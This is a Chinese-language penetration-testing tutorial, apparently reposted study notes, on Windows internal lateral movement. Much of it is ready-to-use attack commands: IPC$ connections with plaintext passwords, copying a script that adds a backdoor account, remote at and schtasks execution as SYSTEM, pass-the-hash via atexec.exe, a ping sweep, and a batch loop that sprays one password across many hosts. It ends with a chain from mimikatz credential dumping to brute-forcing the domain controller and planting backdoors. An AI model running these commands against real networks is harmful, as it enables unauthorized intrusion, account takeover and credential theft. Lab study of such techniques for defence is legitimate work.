【Web渗透】内网横向

admin 2024年1月25日09:11:48评论15 views字数 2264阅读7分32秒阅读模式

1.介绍

(1)计划任务简介

windows 有一个任务计划程序,可以打开这个程序,创建定时的任务。windows 提供了两个命令行可以创建计划任务,分别是 at 和 schtasks。在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。

适用系统:at:< Windows2012schtasks:>=Windows2012

(2)IPC 简介

IPC$(Internet Process Connection)是共享 "命名管道 "的资源,它是一个用于进程间通信的开放式命名管道,通过提供一个可信的用户名和密码,连接双方可以建立一个安全通道并通过这个通道交换加密数据,从而实现对远程计算机的访问。

IPC 连接的简单使用:

建立 IPC 连接net use \IP地址ipc$ "password" /user:"administrator"

通过 IPC 传文件copy 文件名 \IP地址目录$

查看对方电脑时间net time \IP地址

定时运行程序at \IP地址 时间 文件名

断开 IPC 连接net use \IP地址 /del

建立 IPC 失败的原因:

  • 目标系统不是 Windows NT 或以上的操作系统

  • 对方没有打开IPC$共享

  • 对方未开启139,445端口,或者被防火墙屏蔽

  • 输出命令,账号密码有错误

(3)利用流程

  1. 建立 IPC 链接到目标主机

  2. 拷贝要执行的命令脚本到目标主机

  3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本

  4. 删除 IPC 链接

2.演示

(1)明文传递(at&schtasks)

①at 命令演示

创建 add.bat 文件,将下列命令写入,表示创建名为 zzz 密码为 Admin123$%. 的账户

net user zzz Admin123$%. /add

建立 ipc 连接

net use \192.168.3.21ipc$ "Admin12345" /user:god.orgadministrator

拷贝执行文件到目标机器

copy add.bat \192.168.3.21c$

添加计划任务

at \192.168.3.21 15:47 c:add.bat

【Web渗透】内网横向

去域控查看发现 zzz 用户已被成功添加【Web渗透】内网横向

②schtasks 命令演示

建立ipc连接

net use \192.168.3.32ipc$ "admin!@#45" /user:administrator

复制文件到其 C 盘

copy add.bat \192.168.3.32c$

创建 adduser 任务对应执行文件

schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:add.bat /F

运行 adduser 任务

schtasks /run /s 192.168.3.32 /tn adduser /i

执行命令

【Web渗透】内网横向

进入 win2012 主机查看,任务执行成功,zzz 用户被成功添加

【Web渗透】内网横向

(2)哈希传递(atexec.exe)

以上两个命令都是建立在明文密码的传递,那哈希值该如何传递?

可以使用 impacket 中的 atexec.exe优点:既可以用明文传输也可以使用hash传输,能自动提权缺点:非官方软件,需要做免杀

exe 版本下载地址:https://github.com/maaaaz/impacket-examples-windows

atexec.exe 使用

atexec.exe ./[用户名]:[密码]@[IP] "[命令]"`
`atexec.exe [域名]/[用户名]:[密码]@[IP] "[命令]"`
`atexec.exe -hashes [密码的hash值] ./[用户名]@[IP] "[命令]"

如图明文和哈希值均可传递,并且连接后自动提权

【Web渗透】内网横向

二、批量验证

以上两次演示都是建立在我们已经知道密码的情况下,实战过程使用mimikatz获取本机密码然后检测其它主机是否也使用了该密码,这需要我们去批量验证

1.Windows 批处理文件

什么是批处理文件?

批处理文件(batch file)包含一系列 DOS 命令,通常用于自动执行重复性任务。用户只需双击批处理文件便可执行任务,而无需重复输入相同指令。

批处理验证演示

(1)创建 ip 地址字典

探针域内存活主机地址信息for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL="

【Web渗透】内网横向

创建 ips.txt,将收集的ip地址写入

【Web渗透】内网横向

(2)创建批处理文件

创建名为 at_ip.bat 的文件,将如下命令写入FOR /F %%i in (ips.txt) do net use \%%iipc$ "admin!@#45" /user:administrator

【Web渗透】内网横向

该命令含义:对 ips.txt 中的每一个 ip 地址,使用 IPC 进行连接

(3)开始检测执行创建好的at_ip.bat脚本at_ip.bat

【Web渗透】内网横向192.168.3.331是本机 ip 地址,从图中可以验证出192.168.3.29和192.168.3.32这两台主机的administrator 的密码为 admin!@#45

思路从上面的演示中,可以得到域横向移动的思路,获取到 web 服务器的 administrator 的密码之后,通过批量 ipc 连接,查看同一个域下有没有相同的密码,然后再在其它域内主机中使用 mimikatz 丰富密码字典,最终对域控制器进行密码爆破得到域控权限。

获取到某域主机权限-> minikatz得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做字典->尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令

原文始发于微信公众号(信安学习笔记):【Web渗透】内网横向

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月25日09:11:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Web渗透】内网横向http://cn-sec.com/archives/2428279.html

发表评论

匿名网友 填写信息